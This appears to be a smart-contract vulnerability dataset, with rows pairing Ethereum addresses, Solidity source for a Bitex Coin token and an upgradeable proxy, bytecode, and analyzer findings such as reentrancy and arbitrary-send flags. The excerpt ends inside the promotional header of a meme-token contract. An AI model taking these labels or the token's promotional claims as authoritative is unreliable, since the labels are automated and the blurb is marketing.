77616e6365a26469706673582212205281e54f60abe2d01df5a8739df568ba194ce3906a0ee82395cadae86dd7f5d264736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,109
0x527ce0569260f03637a6e1b6ca9280aa9c00b539
pragma solidity ^0.4.21; // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/token/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); } } // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. * */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/token/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } // File: contracts/BitexToken.sol contract BitexToken is MintableToken, BurnableToken { using SafeERC20 for ERC20; string public constant name = "Bitex Coin"; string public constant symbol = "XBX"; uint8 public decimals = 18; bool public tradingStarted = false; // allow exceptional transfer fro sender address - this mapping can be modified only before the starting rounds mapping (address => bool) public transferable; /** * @dev modifier that throws if spender address is not allowed to transfer * and the trading is not enabled */ modifier allowTransfer(address _spender) { require(tradingStarted || transferable[_spender]); _; } /** * * Only the owner of the token smart contract can add allow token to be transfer before the trading has started * */ function modifyTransferableHash(address _spender, bool value) onlyOwner public { transferable[_spender] = value; } /** * @dev Allows the owner to enable the trading. */ function startTrading() onlyOwner public { tradingStarted = true; } /** * @dev Allows anyone to transfer the tokens once trading has started * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint _value) allowTransfer(msg.sender) public returns (bool){ return super.transfer(_to, _value); } /** * @dev Allows anyone to transfer the tokens once trading has started or if the spender is part of the mapping * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) allowTransfer(_from) public returns (bool){ return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public allowTransfer(_spender) returns (bool) { return super.approve(_spender, _value); } /** * Adding whenNotPaused */ function increaseApproval(address _spender, uint _addedValue) public allowTransfer(_spender) returns (bool success) { return super.increaseApproval(_spender, _addedValue); } /** * Adding whenNotPaused */ function decreaseApproval(address _spender, uint _subtractedValue) public allowTransfer(_spender) returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde0314610148578063095ea7b3146101d257806318160ddd146101f457806323b872dd14610219578063293230b8146102415780632c9c0fb514610256578063313ce5671461027a57806340c10f19146102a357806342966c68146102c55780635b4f472a146102db57806366188463146102ee57806370a08231146103105780637d64bcb41461032f5780638da5cb5b1461034257806395d89b4114610371578063a9059cbb14610384578063acb1e61f146103a6578063d73dd623146103c5578063dd62ed3e146103e7578063f2fde38b1461040c575b600080fd5b341561012c57600080fd5b61013461042b565b604051901515815260200160405180910390f35b341561015357600080fd5b61015b61044c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019757808201518382015260200161017f565b50505050905090810190601f1680156101c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dd57600080fd5b610134600160a060020a0360043516602435610483565b34156101ff57600080fd5b6102076104d5565b60405190815260200160405180910390f35b341561022457600080fd5b610134600160a060020a03600435811690602435166044356104db565b341561024c57600080fd5b61025461052f565b005b341561026157600080fd5b610254600160a060020a03600435166024351515610572565b341561028557600080fd5b61028d6105b8565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b610134600160a060020a03600435166024356105da565b34156102d057600080fd5b6102546004356106f8565b34156102e657600080fd5b6101346107b3565b34156102f957600080fd5b610134600160a060020a03600435166024356107c3565b341561031b57600080fd5b610207600160a060020a036004351661080d565b341561033a57600080fd5b610134610828565b341561034d57600080fd5b6103556108d5565b604051600160a060020a03909116815260200160405180910390f35b341561037c57600080fd5b61015b6108e4565b341561038f57600080fd5b610134600160a060020a036004351660243561091b565b34156103b157600080fd5b610134600160a060020a0360043516610965565b34156103d057600080fd5b610134600160a060020a036004351660243561097a565b34156103f257600080fd5b610207600160a060020a03600435811690602435166109c4565b341561041757600080fd5b610254600160a060020a03600435166109ef565b60035474010000000000000000000000000000000000000000900460ff1681565b60408051908101604052600a81527f426974657820436f696e00000000000000000000000000000000000000000000602082015281565b600354600090839060b060020a900460ff16806104b85750600160a060020a03811660009081526004602052604090205460ff165b15156104c357600080fd5b6104cd8484610a8a565b949350505050565b60005481565b600354600090849060b060020a900460ff16806105105750600160a060020a03811660009081526004602052604090205460ff165b151561051b57600080fd5b610526858585610af6565b95945050505050565b60035433600160a060020a0390811691161461054a57600080fd5b6003805476ff00000000000000000000000000000000000000000000191660b060020a179055565b60035433600160a060020a0390811691161461058d57600080fd5b600160a060020a03919091166000908152600460205260409020805460ff1916911515919091179055565b6003547501000000000000000000000000000000000000000000900460ff1681565b60035460009033600160a060020a039081169116146105f857600080fd5b60035474010000000000000000000000000000000000000000900460ff161561062057600080fd5b600054610633908363ffffffff610c7816565b6000908155600160a060020a03841681526001602052604090205461065e908363ffffffff610c7816565b600160a060020a0384166000818152600160205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526001602052604081205482111561071d57600080fd5b5033600160a060020a0381166000908152600160205260409020546107429083610c8b565b600160a060020a0382166000908152600160205260408120919091555461076f908363ffffffff610c8b16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460b060020a900460ff1681565b600354600090839060b060020a900460ff16806107f85750600160a060020a03811660009081526004602052604090205460ff165b151561080357600080fd5b6104cd8484610c9d565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461084657600080fd5b60035474010000000000000000000000000000000000000000900460ff161561086e57600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60408051908101604052600381527f5842580000000000000000000000000000000000000000000000000000000000602082015281565b600354600090339060b060020a900460ff16806109505750600160a060020a03811660009081526004602052604090205460ff165b151561095b57600080fd5b6104cd8484610d97565b60046020526000908152604090205460ff1681565b600354600090839060b060020a900460ff16806109af5750600160a060020a03811660009081526004602052604090205460ff165b15156109ba57600080fd5b6104cd8484610e92565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a0a57600080fd5b600160a060020a0381161515610a1f57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610b0d57600080fd5b600160a060020a038416600090815260016020526040902054821115610b3257600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610b6557600080fd5b600160a060020a038416600090815260016020526040902054610b8e908363ffffffff610c8b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610bc3908363ffffffff610c7816565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610c0b908363ffffffff610c8b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b81810182811015610c8557fe5b92915050565b600082821115610c9757fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610cfa57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610d31565b610d0a818463ffffffff610c8b16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610dae57600080fd5b600160a060020a033316600090815260016020526040902054821115610dd357600080fd5b600160a060020a033316600090815260016020526040902054610dfc908363ffffffff610c8b16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610e31908363ffffffff610c7816565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610eca908363ffffffff610c7816565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a3506001929150505600a165627a7a723058200efd0781f4c658cb7ff11b8836b3d1d1427b8d3eac4d0e0c5594a36772d4a8aa0029
{"success": true, "error": null, "results": {}}
7,110
0xecbf566944250dde88322581024e611419715f7a
pragma solidity ^0.5.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library ZOSLibAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(ZOSLibAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(_admin); } }
0x608060405260043610610067576000357c0100000000000000000000000000000000000000000000000000000000900480633659cfe6146100715780634f1ef286146100c25780635c60da1b1461015b5780638f283970146101b2578063f851a44014610203575b61006f61025a565b005b34801561007d57600080fd5b506100c06004803603602081101561009457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610274565b005b610159600480360360408110156100d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561011557600080fd5b82018360208201111561012757600080fd5b8035906020019184600183028401116401000000008311171561014957600080fd5b90919293919293905050506102c9565b005b34801561016757600080fd5b506101706103a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101be57600080fd5b50610201600480360360208110156101d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103f9565b005b34801561020f57600080fd5b50610218610574565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102626105cc565b61027261026d610664565b610695565b565b61027c6106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102bd576102b8816106ec565b6102c6565b6102c561025a565b5b50565b6102d16106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103935761030d836106ec565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d8060008114610378576040519150601f19603f3d011682016040523d82523d6000602084013e61037d565b606091505b5050905080151561038d57600080fd5b5061039c565b61039b61025a565b5b505050565b60006103ab6106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ed576103e6610664565b90506103f6565b6103f561025a565b5b90565b6104016106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561056857600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156104bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806108416036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e56106bb565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16105638161073b565b610571565b61057061025a565b5b50565b600061057e6106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156105c0576105b96106bb565b90506105c9565b6105c861025a565b5b90565b6105d46106bb565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603281526020018061080f6032913960400191505060405180910390fd5b61066261076a565b565b6000807f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c36001029050805491505090565b3660008037600080366000845af43d6000803e80600081146106b6573d6000f35b3d6000fd5b6000807f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b6001029050805491505090565b6106f58161076c565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007f10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b60010290508181555050565b565b610775816107fb565b15156107cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610877603b913960400191505060405180910390fd5b60007f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c360010290508181555050565b600080823b90506000811191505091905056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a165627a7a7230582052c509e9431db0b664dff2daa899607171102349ef03d4ab72221678214f57400029
{"success": true, "error": null, "results": {}}
7,111
0x783C746C1c6165660D69C56a1BE94858E834c6Ed
/** *Submitted for verification at Etherscan.io on 2021-07-09 */ /* ___ _____ _ _____ / _ \ / ___| | |_ _| / /_\ \_ __ _ __ ___ \ `--.| |_ _ __ ___ _ __ __ _ | | _ __ _ _ | _ | '__| '_ ` _ \ `--. \ __| '__/ _ \| '_ \ / _` | | || '_ \| | | | | | | | | | | | | | /\__/ / |_| | | (_) | | | | (_| | _| || | | | |_| | \_| |_/_| |_| |_| |_\____/ \__|_| \___/|_| |_|\__, | \___/_| |_|\__,_| __/ | |___/ $NASA - ArmStrong Inu - https://t.me/armstronginu Welcome to ArmStrong Inu!!! Official Website: https://www.armstronginu.com Official Twitter: https://twitter.com/StrongNasaInu Official Telegram: https://t.me/armstronginu Tokenomics: - 1,000,000,000,000 Total Supply - 15 seconds cooldown to sell after a buy, in order to limit bot behavior. No other cooldown, No cooldown between sells - No buy or sell token limits. Whales are welcome!!! - 10% total tax on buy - Dynamic fee on sells, relative to price impact, minimum of 10% fee and maximum of 40% fee, with no sell limit. - 100% Fair Launch : No team tokens, no presale - A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns 